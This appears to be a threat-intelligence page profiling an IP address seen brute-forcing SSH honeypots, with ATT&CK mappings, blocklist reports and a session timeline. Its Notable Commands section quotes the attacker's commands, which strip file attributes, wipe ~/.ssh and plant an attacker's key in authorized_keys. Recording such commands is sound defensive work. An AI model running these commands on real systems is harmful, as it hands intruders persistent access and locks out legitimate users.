IntrusionLabs / threat intelligence

Sign in

← Back to feed

152.53.147.70

TAGGED SUSPICIOUS how we decide →

Threat Confidence

50%

Location

🇩🇪 DE / Nuremberg

ASN

AS197540 · netcup GmbH

Cloud Provider

—

Total Events

556

Top 10% by volume

Agent Count

1

First / Last Seen

2026-08-01 07:27 — 2026-08-01 09:16

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-09-01 10:01

blocklist_de:reported

DShield Top Attackers

Reported 2026-09-01 06:01

dshield:top_attacker

Campaigns

Not associated with any campaigns

Session Forensics

malware_dropper ×17 credential_probe ×50 opportunistic_bruter ×17

Sessions

84 (34 with login)

Avg Depth Score

0.42

Commands Executed

51

Files Downloaded

17

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Credential Probe 684ad354bb6a w4m_singapore_01 · 2026-08-01 09:16

1 20%

Loading events...

Credential Probe 80366ce93af9 w4m_singapore_01 · 2026-08-01 09:14

1 20%

Loading events...

Credential Probe 2e361fcb6d42 w4m_singapore_01 · 2026-08-01 09:12

1 20%

Loading events...

Malware Dropper 4ffe71f9938a w4m_singapore_01 · 2026-08-01 09:10

3 1 1 100%

Loading events...

Opportunistic Bruter 5c1155c8a923 w4m_singapore_01 · 2026-08-01 09:10

1 50%

Loading events...

Credential Probe 4ed7cb742571 w4m_singapore_01 · 2026-08-01 09:10

1 20%

Loading events...

Opportunistic Bruter d484eeb998d5 w4m_singapore_01 · 2026-08-01 09:08

1 50%

Loading events...

Malware Dropper ab25dfaf93a2 w4m_singapore_01 · 2026-08-01 09:08

3 1 1 100%

Loading events...

Credential Probe b8af2406b6b7 w4m_singapore_01 · 2026-08-01 09:08

1 20%

Loading events...

Malware Dropper 07ab86a5dda9 w4m_singapore_01 · 2026-08-01 09:06

3 1 1 100%

Loading events...

Opportunistic Bruter 4a8060a01f45 w4m_singapore_01 · 2026-08-01 09:06

1 50%

Loading events...

Credential Probe 020f381526d6 w4m_singapore_01 · 2026-08-01 09:06

1 20%

Loading events...

Credential Probe 96a3e1ccf44c w4m_singapore_01 · 2026-08-01 09:03

1 20%

Loading events...

Credential Probe 3b0e95e72ba2 w4m_singapore_01 · 2026-08-01 09:01

1 20%

Loading events...

Opportunistic Bruter 77523ca8ce45 w4m_singapore_01 · 2026-08-01 08:59

1 50%

Loading events...

Credential Probe 49ac1c45fb8a w4m_singapore_01 · 2026-08-01 08:59

1 20%

Loading events...

Malware Dropper 19aec3625bd2 w4m_singapore_01 · 2026-08-01 08:59

3 1 1 100%

Loading events...

Credential Probe 22b403cf616e w4m_singapore_01 · 2026-08-01 08:57

1 20%

Loading events...

Credential Probe a0a6fb898ea9 w4m_singapore_01 · 2026-08-01 08:55

1 20%

Loading events...

Credential Probe 0d0eb6df1bbb w4m_singapore_01 · 2026-08-01 08:53

1 20%

Loading events...

Credential Probe fce115171263 w4m_singapore_01 · 2026-08-01 08:51

1 20%

Loading events...

Opportunistic Bruter 7b5ea7ee65a4 w4m_singapore_01 · 2026-08-01 08:49

1 50%

Loading events...

Malware Dropper 3079ba0cb1a9 w4m_singapore_01 · 2026-08-01 08:49

3 1 1 100%

Loading events...

Credential Probe f8782c939c48 w4m_singapore_01 · 2026-08-01 08:49

1 20%

Loading events...

Malware Dropper 907628676ca4 w4m_singapore_01 · 2026-08-01 08:47

3 1 1 100%

Loading events...

Opportunistic Bruter b266d47f97dc w4m_singapore_01 · 2026-08-01 08:47

1 50%

Loading events...

Credential Probe 7f33d741f3b6 w4m_singapore_01 · 2026-08-01 08:47

1 20%

Loading events...

Credential Probe b009b334160b w4m_singapore_01 · 2026-08-01 08:44

1 20%

Loading events...

Credential Probe 05cb4c2879f9 w4m_singapore_01 · 2026-08-01 08:42

1 20%

Loading events...

Malware Dropper 2729e057a83b w4m_singapore_01 · 2026-08-01 08:40

3 1 1 100%

Loading events...

Opportunistic Bruter 7c3f0c0eaab8 w4m_singapore_01 · 2026-08-01 08:40

1 50%

Loading events...

Credential Probe b8645a2cb235 w4m_singapore_01 · 2026-08-01 08:40

1 20%

Loading events...

Malware Dropper 77bd0621aeb8 w4m_singapore_01 · 2026-08-01 08:38

3 1 1 100%

Loading events...

Opportunistic Bruter c720da37de9f w4m_singapore_01 · 2026-08-01 08:38

1 50%

Loading events...

Credential Probe ad8d68a2c419 w4m_singapore_01 · 2026-08-01 08:38

1 20%

Loading events...

Credential Probe 40b0480da7bd w4m_singapore_01 · 2026-08-01 08:36

1 20%

Loading events...

Credential Probe ed428ce86290 w4m_singapore_01 · 2026-08-01 08:34

1 20%

Loading events...

Credential Probe ec6a98e00f2d w4m_singapore_01 · 2026-08-01 08:31

1 20%

Loading events...

Opportunistic Bruter b5219bbac058 w4m_singapore_01 · 2026-08-01 08:29

1 50%

Loading events...

Malware Dropper 1a7eee6005f4 w4m_singapore_01 · 2026-08-01 08:29

3 1 1 100%

Loading events...

Credential Probe d8c2100639df w4m_singapore_01 · 2026-08-01 08:29

1 20%

Loading events...

Credential Probe 0e3695664b53 w4m_singapore_01 · 2026-08-01 08:27

1 20%

Loading events...

Credential Probe aad28d66d2dd w4m_singapore_01 · 2026-08-01 08:25

1 20%

Loading events...

Credential Probe b102f07a9608 w4m_singapore_01 · 2026-08-01 08:23

1 20%

Loading events...

Opportunistic Bruter 86408a0cc1b6 w4m_singapore_01 · 2026-08-01 08:21

1 50%

Loading events...

Malware Dropper 902026183fa7 w4m_singapore_01 · 2026-08-01 08:21

3 1 1 100%

Loading events...

Credential Probe 1a55ab05aac9 w4m_singapore_01 · 2026-08-01 08:21

1 20%

Loading events...

Credential Probe 1cef9bdc336a w4m_singapore_01 · 2026-08-01 08:19

1 20%

Loading events...

Credential Probe a9727e874b1c w4m_singapore_01 · 2026-08-01 08:17

1 20%

Loading events...

Malware Dropper 632920afc027 w4m_singapore_01 · 2026-08-01 08:14

3 1 1 100%

Loading events...

{# Cloudflare Web Analytics — cookieless, public pages only. The context processor withholds the token from authenticated requests. #}